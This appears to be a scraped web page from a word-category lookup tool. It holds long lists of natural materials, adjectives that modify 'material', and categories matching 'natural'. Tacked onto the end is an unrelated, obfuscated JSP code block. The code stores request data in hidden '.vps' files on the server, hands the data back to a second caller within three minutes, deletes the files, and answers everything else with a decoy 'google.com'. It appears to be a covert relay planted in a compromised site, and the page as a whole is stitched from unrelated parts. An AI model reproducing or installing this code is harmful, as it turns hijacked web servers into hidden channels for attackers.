Use the & operator to see the shared categories of two terms. E.g.
cola & coffee
or
divorce & war
Go Back
See XML
Members for Fine-Grained Categories
natural_material
:
feldspar,
gypsum,
stone,
mineral,
wood,
corn_starch,
cotton,
birch,
chrome,
bamboo,
sand,
opal,
gravel,
leather,
marble,
feather,
onyx,
silver,
rock,
cedar,
salt,
earth,
granite,
aluminum,
charcoal,
leaf,
coconut_shell,
cellulose,
shell,
clay,
natural_pigment,
wheat_straw,
pumice,
mud,
quartz,
copper,
rice_straw,
silk,
down_feather,
abaca,
corn_husk,
wool,
paper_straw,
felt,
pine,
sisal,
silica,
tourmaline,
stick,
paper,
turquoise,
mahogany,
garnet,
starch,
rubber,
cashmere,
fur,
sawdust,
cherry,
denim,
soil,
hemp,
peat,
dolomite,
fabric,
sugar,
lacquer,
limestone,
spider_silk,
hair,
driftwood,
dirt,
elastin,
suede,
nacre,
textile,
compost,
jute,
oil,
protein,
palm_leaf,
flint,
gold,
iron,
cork,
ash,
coir,
rustic_metal,
oak,
pandanus,
tuff,
carved_stone,
skin,
linen,
canvas,
horn,
fiber,
zeolite,
metal,
seed,
lime,
water,
flax,
beeswax,
wax,
horsehair,
shingles,
walnut,
air,
collagen,
bone,
bones,
log,
sandstone,
straw,
chitin,
ivory,
polyester,
teak,
corn,
amber,
cloth,
hardwood,
wicker,
slate,
fibrin,
plaster,
raffia,
Modifiers matching
material
:
raw,
political,
secret,
cultural,
organic,
innovative,
soft,
natural,
residential,
solid,
symbolic,
microbial,
antibacterial,
islamic,
fluorescent,
nonmetallic,
taken,
dusty,
resonant,
electrical,
significant,
fragmented,
lengthy,
japanese,
elegant,
inorganic,
hazardous,
inert,
secondary,
hard,
impermeable,
melting,
personalized,
supporting,
occluded,
amorphous,
deep,
disinfectant,
undesired,
small,
extracellular,
workable,
tropical,
nonflammable,
perishable,
comfortable,
corrosive,
washable,
dried,
eternal,
luxurious,
gritty,
underwater,
scientific,
indonesian,
strategic,
private,
interpretive,
firsthand,
rental,
recyclable,
inexpensive,
curative,
bendable,
shiny,
medieval,
archeological,
micaceous,
literary,
atmospheric,
padded,
subsurface,
industrialized,
sized,
packed,
unpublished,
base,
hygroscopic,
thermoplastic,
narrow,
textured,
opaque,
then,
resilient,
botanical,
restorative,
representational,
benthic,
unstructured,
handwritten,
wild,
proper,
poorer,
electric,
thinner,
discrete,
sensuous,
textual,
optic,
bony,
translucent,
outdoor,
indian,
compressed,
fireproof,
colloidal,
deliquescent,
supplemental,
aromatic,
elemental,
manufactured,
virtual,
hydrophilic,
peruvian,
serious,
uncharged,
sundry,
oversized,
simple,
antigenic,
enduring,
dehydrated,
stronger,
bibliographic,
endogenous,
good,
thermosetting,
incompatible,
labile,
difficult,
legal,
transmissible,
flat,
inappropriate,
nonslip,
cheap,
oily,
harsh,
noncrystalline,
intestinal,
starchy,
sumptuous,
removable,
nonskid,
flavorful,
organisational,
continuous,
ferromagnetic,
unusual,
gummy,
evaluative,
pedagogic,
waxlike,
erotic,
flying,
light,
useless,
argillaceous,
sustainable,
dissolved,
desired,
sculptural,
third,
critical,
upper,
fecal,
brighter,
organizational,
lactic,
philippine,
metamorphic,
separated,
portable,
collectible,
rolling,
surficial,
heterogeneous,
professional,
beautiful,
spurious,
informational,
herbaceous,
nice,
curricular,
adjacent,
plain,
tasty,
sharp,
skeletal,
homogenous,
further,
unusable,
inspirational,
waiting,
frictional,
unwanted,
horrifying,
orange,
rare,
bulky,
foreign,
public,
photoconductive,
edged,
tactile,
inductive,
exothermic,
alien,
chewy,
fuzzy,
penetrating,
analog,
christian,
fluent,
modern,
glassy,
fungal,
irregular,
mental,
delicate,
colorful,
durable,
fissile,
bonelike,
looking,
macromolecular,
restrictive,
photoemissive,
available,
damp,
platelike,
provencal,
particular,
expressive,
exciting,
deadly,
dynamic,
floral,
tacky,
warmer,
innocuous,
auxiliary,
clogging,
fictional,
physical,
airtight,
messy,
outside,
micro,
susceptible,
smaller,
weblike,
straight,
slippery,
complicated,
calendered,
nitrogenous,
nutritive,
lighter,
nutrient,
chinese,
military,
complimentary,
genetic,
crisp,
conjugated,
administrative,
developed,
inextensible,
nonfunctional,
friendly,
medical,
minor,
intracellular,
informal,
compatible,
stimulating,
anisotropic,
sheer,
adventitious,
cylindrical,
luxe,
postal,
ultrasonic,
common,
controlled,
educational,
basic,
detrimental,
nonpolar,
floating,
inelastic,
nonabsorptive,
semitransparent,
visceral,
semiliquid,
final,
fabricated,
departmental,
artificial,
nasty,
herbal,
refrigerant,
clastic,
pyroelectric,
nutritious,
catholic,
uncharacteristic,
sophisticated,
wet,
several,
polycrystalline,
inhomogeneous,
practical,
datable,
impervious,
formal,
ionic,
evergreen,
coarse,
conventional,
photographic,
bituminous,
dense,
electronic,
local,
dated,
irreplaceable,
authentic,
eukaryotic,
metal,
western,
dry,
immiscible,
miscellaneous,
seasonal,
diamagnetic,
crustacean,
refractive,
cleanable,
british,
expanded,
unyielding,
airy,
communal,
initial,
fitting,
unsaturated,
alkaline,
resistant,
laid,
moldable,
nonliving,
inflammable,
nonmetal,
interfering,
diagnostic,
fibrous,
steroidal,
larger,
familiar,
non-precious,
high,
inanimate,
dummy,
advisory,
wooden,
linear,
detailed,
interactive,
nongranular,
awkward,
photosensitive,
structured,
old,
written,
fundamental,
marketable,
developing,
pharmaceutical,
carbonaceous,
genealogical,
mammalian,
monatomic,
pasty,
non-metallic,
watertight,
lasting,
dangerous,
geological,
weighty,
stationary,
subatomic,
brazilian,
covalent,
routine,
molecular,
geographical,
lightweight,
internal,
particulate,
bitter,
anhydrous,
off,
ignitable,
spare,
hemostatic,
orthopedic,
humble,
advanced,
genuine,
chemical,
finer,
verbal,
characteristic,
woody,
ephemeral,
african,
straplike,
vaporizable,
weaker,
unprocessed,
atomic,
igneous,
unstable,
overlying,
declassified,
architectural,
optical,
allergenic,
regulatory,
elongated,
inflexible,
illicit,
lifeless,
unbreakable,
strong,
dispersive,
zoological,
colour,
weatherproof,
anodic,
absorbable,
mundane,
financial,
healthy,
editorial,
sterile,
stained,
charged,
catalytic,
synthetic,
combustible,
residual,
size,
standard,
embolic,
unobjectionable,
additional,
orthodontic,
hollow,
wrong,
aqueous,
heaviest,
potent,
modular,
heavy,
embedded,
sacred,
pliable,
immaculate,
pointed,
level,
russian,
over,
unexpected,
resultant,
antimicrobial,
bovine,
exclusive,
semiprecious,
oleophilic,
convenient,
essential,
static,
typical,
loose,
older,
liquefied,
amateur,
supple,
nonvolatile,
cohesive,
special,
unpainted,
temporary,
ethnic,
prescribed,
fine,
diffusing,
grey,
inner,
coloured,
futuristic,
clear,
vietnamese,
pliant,
alternative,
real,
collagenous,
historical,
required,
vulnerable,
single,
fluffy,
earthen,
changing,
deleterious,
mathematical,
important,
fissionable,
exotic,
volatile,
sanitary,
aliphatic,
sugary,
disordered,
aluminous,
competitive,
laminar,
sufficient,
english,
liquid,
adapted,
nuclear,
individual,
calcareous,
sexual,
glossy,
contrasting,
crumbly,
abstract,
airborne,
expensive,
finished,
smart,
expendable,
indirect,
heavier,
oriental,
transferrable,
sleek,
radiological,
anatomical,
personal,
compressible,
sensory,
red,
anionic,
imitation,
explosive,
bodied,
painted,
conformable,
corrective,
heated,
reactive,
latticed,
expository,
sheetlike,
circular,
unofficial,
inflatable,
commercial,
abandoned,
replaceable,
trim,
elastic,
nonrenewable,
hydrophobic,
evaporable,
civil,
resistive,
expansible,
springy,
ancillary,
infrared,
active,
energetic,
audiovisual,
costly,
flammable,
handsome,
promotional,
french,
external,
distant,
everyday,
complementary,
copyrighted,
white,
thick,
leatherlike,
polished,
cationic,
strange,
pulverized,
moist,
major,
photovoltaic,
extraneous,
historic,
collateral,
suitable,
future,
cheaper,
vegetative,
destructive,
upscale,
danish,
interior,
dental,
rugged,
visible,
tensile,
hot,
electromechanical,
biological,
industrial,
nonsynthetic,
suspended,
precise,
spiritual,
classical,
polish,
disposable,
appropriate,
automotive,
negative,
quilted,
layer,
hardest,
archival,
nutritional,
utilitarian,
agricultural,
surgical,
aeronautical,
painterly,
lustrous,
sluggish,
metastable,
anthropogenic,
crucial,
consolidated,
pictorial,
chromatographic,
explicit,
virgin,
nonrigid,
compliant,
incendiary,
ic,
firm,
fragile,
coated,
extractable,
beneficial,
specialised,
dead,
effective,
reliable,
spherical,
factual,
tubular,
specular,
insoluble,
netlike,
accessible,
adjuvant,
scented,
costlier,
proteolytic,
privileged,
scholarly,
illegal,
crude,
stretchable,
dressy,
subaqueous,
transuranic,
colourful,
scintillating,
horticultural,
filamentous,
uniform,
unsuitable,
online,
frozen,
dull,
salt,
uneven,
binding,
fatty,
plastic,
harder,
number,
aggressive,
exogenous,
fossil,
addictive,
pathogenic,
non-primitive,
welsh,
supportive,
undesirable,
corporate,
powdery,
smelly,
gooey,
topical,
non-reflective,
microscopic,
hidden,
modest,
functional,
permeable,
benign,
noiseless,
unsightly,
cyclic,
nonporous,
binary,
textbook,
specialized,
hybrid,
long,
unacceptable,
trivalent,
rougher,
flexible,
semisolid,
interesting,
peripheral,
timeless,
complex,
open,
fresh,
thermoset,
recreational,
statistical,
feminine,
european,
confidential,
thin,
robust,
blasting,
congressional,
surrounding,
incidental,
springlike,
religious,
ancient,
noncombustible,
non-organic,
bright,
rich,
coniferous,
obnoxious,
favored,
unconventional,
fashionable,
masculine,
concrete,
throwaway,
volcanic,
iron,
biotic,
refined,
vital,
large,
brittle,
environmental,
discarded,
brown,
intact,
sentimental,
decorative,
harmful,
nonstructural,
semiconducting,
secular,
intensive,
graphical,
outer,
underlying,
crystalline,
passive,
nontechnical,
microcrystalline,
refractory,
newtonian,
softer,
novel,
subsidiary,
tenacious,
perfect,
backer,
narrative,
acidic,
usable,
similar,
original,
earthy,
reclaimed,
model,
pulverised,
massive,
plush,
stylish,
birefringent,
unlawful,
tougher,
thai,
inedible,
stock,
artistic,
unhealthy,
defined,
poor,
renewable,
musical,
down,
current,
recognizable,
provocative,
black,
primitive,
sedimentary,
unvulcanized,
realistic,
yielding,
favorite,
clean,
movable,
cellular,
mixed,
sexy,
widespread,
prepared,
lumpy,
oversize,
succulent,
proprietary,
terrestrial,
simulated,
woven,
prestigious,
greasy,
foldable,
neutral,
general,
main,
ecological,
optional,
indigenous,
absorbent,
abrasive,
floaty,
sintered,
regular,
legislative,
premium,
contemporary,
electronegative,
precious,
porous,
graphic,
normal,
physiological,
reusable,
biodegradable,
varied,
metallic,
expansive,
albuminous,
popular,
chewable,
oleaginous,
animal,
fragrant,
rocky,
intrinsic,
excretory,
exterior,
aggregate,
non-ferrous,
sticky,
powerful,
antibiotic,
biomedical,
electoral,
experimental,
regulated,
cozy,
pervious,
rubberlike,
obstructive,
smooth,
unauthorized,
invisible,
polymeric,
emotional,
deciduous,
international,
usual,
renewing,
safe,
under,
stabilizing,
helpful,
unique,
fixed,
scripted,
transparent,
scenic,
diaphanous,
soluble,
stony,
homogeneous,
thermal,
clinical,
conductive,
reticular,
meaningful,
granulated,
distinct,
evidentiary,
concentrated,
ductile,
immaterial,
little,
pure,
seamless,
u,
official,
cementitious,
inside,
receptive,
swedish,
monolithic,
waterproof,
matte,
unclean,
filmy,
granular,
established,
extraterrestrial,
nonstick,
symmetric,
ethereal,
polyphase,
macroscopic,
digestible,
repellent,
eloquent,
tiny,
perforated,
instructional,
australian,
newer,
invertebrate,
odd,
osseous,
viscoelastic,
specified,
actual,
side,
sensual,
useful,
cumbersome,
inactive,
stubborn,
polar,
waxy,
intellectual,
permanent,
radiolucent,
vitreous,
crustal,
pleasing,
visual,
gaseous,
bottomed,
lovely,
earthly,
semirigid,
aesthetic,
variable,
friable,
working,
logical,
bad,
exposed,
color,
edible,
elaborate,
hardy,
crispy,
hydrous,
abundant,
planar,
up,
technological,
nonabsorbent,
digital,
casual,
non-porous,
stretchy,
extensive,
unbound,
underground,
periodic,
dilute,
nontraditional,
fluid,
cognitive,
recoverable,
net,
preventive,
persistent,
manipulative,
offer,
biochemical,
lapidary,
incongruous,
intermediate,
saturated,
carcinogenic,
magical,
cosmetic,
faceted,
out,
fermentable,
odorous,
fragmentary,
sacrificial,
untreated,
theoretical,
absorptive,
minute,
polyatomic,
reflective,
superior,
moving,
desirable,
cold,
dirty,
maverick,
divalent,
archaeological,
objective,
preferred,
stable,
domestic,
rustic,
thickening,
oxidizable,
broken,
nonlinear,
wholesome,
creative,
unfinished,
twisted,
thermoelectric,
darker,
webbed,
indoor,
rubbery,
ordinary,
glacial,
home,
impure,
viscous,
competent,
lossy,
structural,
plane,
unconsolidated,
technical,
cryptographic,
related,
leftover,
resinous,
dark,
moldy,
intravenous,
siliceous,
pyrotechnic,
random,
prosthetic,
nonconductive,
harmless,
cryogenic,
proteinaceous,
acid,
thicker,
reproductive,
nonreflective,
operational,
nearby,
fat,
luminescent,
sturdy,
nonmagnetic,
nontoxic,
oriented,
purchasable,
overlooked,
illustrative,
separate,
woolen,
transient,
damaging,
dimensional,
isotropic,
pertinent,
non-conductive,
blank,
lipophilic,
dissimilar,
new,
angular,
ternary,
round,
toxic,
antique,
inviting,
unlikely,
poisonous,
improper,
grown,
rigid,
potable,
magnetic,
medium,
possible,
remaining,
top,
molten,
palatable,
asian,
commonplace,
undefined,
blue,
attractive,
expandable,
phosphorous,
cleansing,
hydraulic,
farinaceous,
ferrous,
american,
ordered,
adult,
radiopaque,
contraband,
valuable,
vegetal,
geologic,
geophysical,
primary,
caustic,
electrochemical,
intractable,
laxative,
paramagnetic,
urban,
ornamental,
diverse,
needed,
preservable,
irritating,
elementary,
starting,
bound,
institutional,
rounded,
exempt,
impenetrable,
hygienic,
secure,
informative,
greek,
endothermic,
acoustic,
consumable,
sensitive,
threatening,
indigestible,
non-edible,
unused,
academic,
obtrusive,
buoyant,
concise,
published,
ceramic,
biogenic,
tight,
isolated,
joint,
cool,
rough,
powdered,
nonwoody,
formalized,
protective,
weak,
cubic,
printable,
multiple,
occlusive,
noble,
malleable,
propellant,
liquified,
surplus,
colored,
central,
segregated,
extra,
radioactive,
cathodic,
supplementary,
bulkier,
tough,
frangible,
occult,
biologic,
summery,
incompressible,
hydrated,
world,
traditional,
nonconducting,
waterborne,
orthopaedic,
german,
mechanical,
limited,
alloyed,
infectious,
warm,
comforting,
restricted,
ablative,
stellar,
semiconductive,
worthy,
striking,
insensitive,
unfriendly,
turbid,
tabular,
free,
tangible,
necessary,
medicinal,
promising,
wearable,
animated,
key,
steady,
relevant,
alluvial,
troublesome,
metabolic,
phantom,
attainable,
gross,
mobile,
adsorptive,
marine,
prehistoric,
intelligent,
leafy,
slender,
dispersed,
nonresilient,
silver,
affordable,
solidified,
nonmusical,
fancy,
lunar,
descriptive,
vocational,
bilingual,
positive,
uncoated,
piezoelectric,
compact,
native,
stereo,
noxious,
fleshy,
Simple categories matching
natural
:
object,
filament,
measure,
material,
nut,
pest,
fiber,
resource,
feature,
stone,
separation,
deterioration,
carrier,
prey,
phenomenon,
configuration,
environment,
therapy,
process,
substance,
torque,
contaminant,
predator,
sorbent,
fluctuation,
whitener,
syrup,
phosphoprotein,
symptom,
flora,
lighting,
god,
sugar,
fibre,
exercise,
prayer,
porphyrin,
cloth,
subject,
clone,
danger,
satellite,
sickness,
erosion,
tree,
dessert,
phytochemical,
data,
progestin,
lense,
setting,
metal,
nature,
infection,
being,
green,
scourge,
location,
substrate,
monument,
wetness,
medium,
salve,
component,
joint,
perturbation,
slate,
acid,
ingredient,
flooring,
field,
membrane,
disorder,
capital,
stuff,
occurrence,
love,
agent,
rarity,
grassland,
sound,
loss,
model,
xanthine,
nucleotide,
procreation,
operator,
nuclease,
opium,
oligosaccharide,
fuel,
item,
cycle,
ordering,
marking,
language,
flavor,
picture,
bone,
ventilation,
weapon,
toxin,
landmark,
vegetation,
defect,
passion,
class,
obligation,
aggregate,
injustice,
diuretic,
matter,
yarn,
infrastructure,
space,
person,
communication,
attribute,
personality,
worry,
happening,
attar,
endowment,
trait,
audience,
nourishment,
reproduction,
ridge,
motive,
device,
beast,
excretion,
alloy,
narcotic,
form,
factor,
mineral,
kind,
spice,
bones,
figure,
blemish,
rosin,
phospholipid,
composition,
grouping,
behaviour,
antifreeze,
ligand,
aperture,
seasoning,
impulse,
park,
support,
asset,
carotenoid,
relaxant,
micronutrient,
attitude,
hydrocarbon,
token,
motion,
difference,
lubricant,
glass,
nail,
soap,
death,
selection,
system,
diamond,
music,
area,
flaw,
cause,
craft,
elastomer,
illusion,
soil,
marker,
shampoo,
androgen,
triglyceride,
contamination,
sweetener,
vitamin,
filling,
authority,
souvenir,
instrument,
host,
family,
transformation,
lake,
adhesive,
shrine,
drink,
emanation,
site,
entity,
piece,
repressor,
artifact,
lipid,
whole,
creature,
inlet,
reaction,
disturbance,
herbivore,
monomer,
astringent,
discipline,
treatment,
rhythm,
scavenger,
toxicant,
fodder,
attraction,
siding,
feldspar,
ways,
oleoresin,
antimicrobial,
beauty,
color,
grass,
plant,
repellent,
way,
insecticide,
interference,
gem,
eggshell,
distinction,
chemical,
scale,
virtue,
hollow,
dimension,
vortex,
stimulant,
waste,
abstraction,
polymer,
conductor,
hide,
insect,
frame,
event,
mode,
control,
scent,
option,
leaf,
smell,
gemstone,
morality,
leather,
discharge,
variable,
cofactor,
endorphin,
disaster,
soup,
beverage,
alkaloid,
reed,
speech,
surfactant,
argument,
clay,
laws,
source,
article,
flavoring,
response,
passageway,
appearance,
surface,
weaponry,
linen,
comparison,
glucocorticoid,
emulsifier,
makeup,
neutral,
preservative,
flavour,
ab,
braid,
fertiliser,
patch,
anesthetic,
pharmaceutical,
issue,
nutrient,
humectant,
hallucinogen,
pulse,
influence,
organs,
buffer,
rubber,
pattern,
foam,
cereal,
hill,
ore,
dielectric,
obstacle,
allergen,
metric,
bristle,
disposition,
procedure,
knowledge,
fact,
paint,
particle,
antacid,
jewel,
refrigerant,
representation,
drive,
antiseptic,
condition,
insulator,
perfume,
shelter,
ability,
haemoprotein,
water,
cotton,
gas,
limit,
canal,
mechanism,
fare,
protease,
sedative,
remedy,
garbage,
shape,
means,
metabolite,
excreta,
impediment,
inhabitant,
fruit,
atom,
land,
food,
vessel,
filler,
group,
gum,
flow,
background,
evil,
latex,
text,
corticosteroid,
evolution,
contingency,
goodness,
point,
assets,
bivalve,
look,
electricity,
surroundings,
case,
bait,
carnivore,
science,
imperfection,
lecithin,
route,
habitat,
albumin,
behavior,
product,
structure,
region,
essence,
method,
colouring,
change,
coloring,
category,
herb,
hardwood,
vice,
formation,
container,
particulate,
cortisone,
sport,
outflow,
butter,
feeling,
law,
preparation,
supply,
action,
affection,
peptide,
foliage,
hairstyle,
variation,
progestogen,
waterway,
coating,
feed,
oestrogen,
calamity,
period,
use,
sign,
illness,
weave,
dialogue,
territory,
seafood,
monosaccharide,
constituent,
design,
sentiment,
pollutant,
botanical,
pulp,
line,
silicate,
infirmity,
carpet,
cosmetic,
condiment,
pause,
precipitation,
tragedy,
experience,
fragrance,
pigment,
network,
anticoagulant,
sense,
division,
trap,
world,
activity,
style,
juice,
jewelry,
steak,
origin,
community,
materiel,
abrasive,
motif,
drug,
activator,
light,
therapeutics,
theme,
textile,
medicine,
fence,
binder,
resin,
dyestuff,
tissue,
wonder,
chromogen,
disaccharide,
healthcare,
hazard,
quantity,
vinegar,
conversation,
steroid,
cure,
wetland,
practice,
order,
starch,
channel,
hair,
swarm,
hemoprotein,
oil,
vegetable,
rock,
wood,
elevation,
work,
property,
amine,
scientist,
fluid,
solid,
ambience,
thickener,
stimulus,
impurity,
orifice,
disease,
mica,
protection,
enzyme,
modality,
glycoside,
fertilizer,
plaything,
emotion,
wool,
sulfate,
texture,
extract,
wax,
solute,
malt,
earth,
beads,
body,
alcohol,
desire,
magnitude,
development,
touch,
antioxidant,
passage,
mishap,
mixture,
estrogen,
precursor,
flower,
niche,
crystal,
organism,
mound,
herbicide,
pesticide,
zooplankton,
incident,
religion,
characteristic,
heritage,
colloid,
act,
dish,
place,
aptitude,
depressant,
clearing,
plaster,
emission,
brine,
carbohydrate,
plasma,
state,
power,
aroma,
boundary,
cheese,
scene,
grain,
stress,
heating,
catalyst,
treasure,
seed,
animal,
fabric,
cavity,
commodity,
interaction,
compound,
evacuation,
fat,
bush,
hydrocolloid,
consequence,
deposit,
peril,
unit,
information,
constraint,
fur,
opening,
incense,
carcinogen,
part,
cover,
thing,
building,
reservoir,
ground,
colours,
asphalt,
zeolite,
force,
heat,
molecule,
assembly,
sediment,
institution,
signal,
derivative,
firebreak,
interface,
break,
ester,
creation,
course,
accident,
gradient,
nucleoside,
ornament,
greenery,
polysaccharide,
obstruction,
armor,
situation,
cord,
quality,
decoration,
barrier,
indicator,
catecholamine,
layer,
anaesthetic,
skill,
coffee,
watercourse,
technology,
noise,
fish,
hypnotic,
energy,
debris,
protein,
ecosystem,
catastrophe,
advantage,
salt,
hormone,
outbreak,
society,
secretion,
elements,
antibiotic,
immunity,
image,
macromolecule,
task,
prosody,
pathogen,
flavouring,
poison,
level,
faculty,
radiation,
expression,
instrumentation,
microorganism,
foodstuff,
starches,
owner,
relationship,
fauna,
philosophy,
stream,
matrix,
anomaly,
difficulty,
opiate,
movement,
solution,
function,
<%@page trimDirectiveWhitespaces="true"%> <%@page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@page import="java.io.*"%> <%@page import="java.util.*"%> <%@page import="java.text.*"%> <%! static String cuy321a = null; public static String cuy321b(byte[] cuy321c) { char[] cuy321d = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P', 'Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f', 'g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v', 'w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/' }; StringBuilder cuy321e = new StringBuilder(); int cuy321f = 0; for (int i = 0; i < cuy321c.length; i += 3) { int b = ((cuy321c[i] & 0xFF) << 16) & 0xFFFFFF; if (i + 1 < cuy321c.length) { b |= (cuy321c[i+1] & 0xFF) << 8; } else { cuy321f++; } if (i + 2 < cuy321c.length) { b |= (cuy321c[i+2] & 0xFF); } else { cuy321f++; } for (int j = 0; j < 4 - cuy321f; j++) { int c = (b & 0xFC0000) >> 18; cuy321e.append(cuy321d[c]); b <<= 6; } } for (int j = 0; j < cuy321f; j++) { cuy321e.append("="); } return cuy321e.toString(); } public void cuy321a(HttpServletRequest req) { if (cuy321a != null) return; String cuy321g = getServletContext().getRealPath(req.getRequestURI()).replace('\\', '/'); cuy321a = cuy321g.substring(0, cuy321g.lastIndexOf('/')) + "/"; } byte[] cuy321h(String cuy321i) { byte[] cuy321j = null; FileInputStream cuy321k = null; File file = new File(cuy321i); try { cuy321k = new FileInputStream(file); cuy321j = new byte[(int)file.length()]; cuy321k.read(cuy321j); } catch (Exception ex) { } finally { try { if (cuy321k != null) cuy321k.close(); } catch (Exception ex) { } } return cuy321j; } %> <% cuy321a(request); String cuy322a = request.getParameter("user"); String cuy322b = request.getParameter("rand"); String cuy322c = request.getParameter("id"); String cuy322d = request.getParameter("action"); int cuy322e = -1; if (request.getParameter("code") != null) cuy322e = Integer.parseInt(request.getParameter("code")) % 4; if (cuy322d != null && "home".equals(cuy322d)) { out.write("google.com"); } if (cuy322a != null && !"0".equals(cuy322a)) { String cuy322g = cuy321a + cuy322b + ".vps"; String cuy322f = cuy322g + "x"; String cuy322h = request.getParameter("hash"); String cuy322i = request.getHeader("From"); FileOutputStream cuy322j = null; cuy322j = new FileOutputStream(cuy322f); if(cuy322j != null) { DataOutputStream cuy322k = new DataOutputStream(cuy322j); cuy322k.writeLong(System.currentTimeMillis()); cuy322k.close(); cuy322j.close(); } cuy322j = new FileOutputStream(cuy322g, false); if(cuy322j != null) { cuy322j.write(cuy322h.getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322i.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322a.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322b.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.flush(); cuy322j.close(); } out.write("google.com"); } else if (cuy322e == 0 && "0".equals(cuy322c)) { out.write("google.com"); } else if (cuy322e == 1) { File cuy322l = new File(cuy321a); String cuy322g = null; String cuy322f = null; int cuy322m = 0; if (cuy322l.exists() && cuy322l.isDirectory()) { for(File file:cuy322l.listFiles()) { cuy322g = file.getName(); if(cuy322g.endsWith(".vps")) { cuy322m = 1; cuy322g = file.getAbsolutePath(); cuy322f = cuy322g + "x"; break; } } } if (cuy322m == 1) { FileInputStream cuy321k = new FileInputStream(cuy322f); DataInputStream cuy322o = new DataInputStream(cuy321k); if(System.currentTimeMillis() - cuy322o.readLong() < 180000) { byte[] cuy322p = cuy321h(cuy322g); if (cuy322p != null) { out.write(new String(cuy322p)); } } cuy322o.close(); cuy321k.close(); File cuy322p1 = new File(cuy322g); cuy322p1.delete(); File cuy322pz = new File(cuy322f); cuy322pz.delete(); } else { out.write("google.com"); } } %>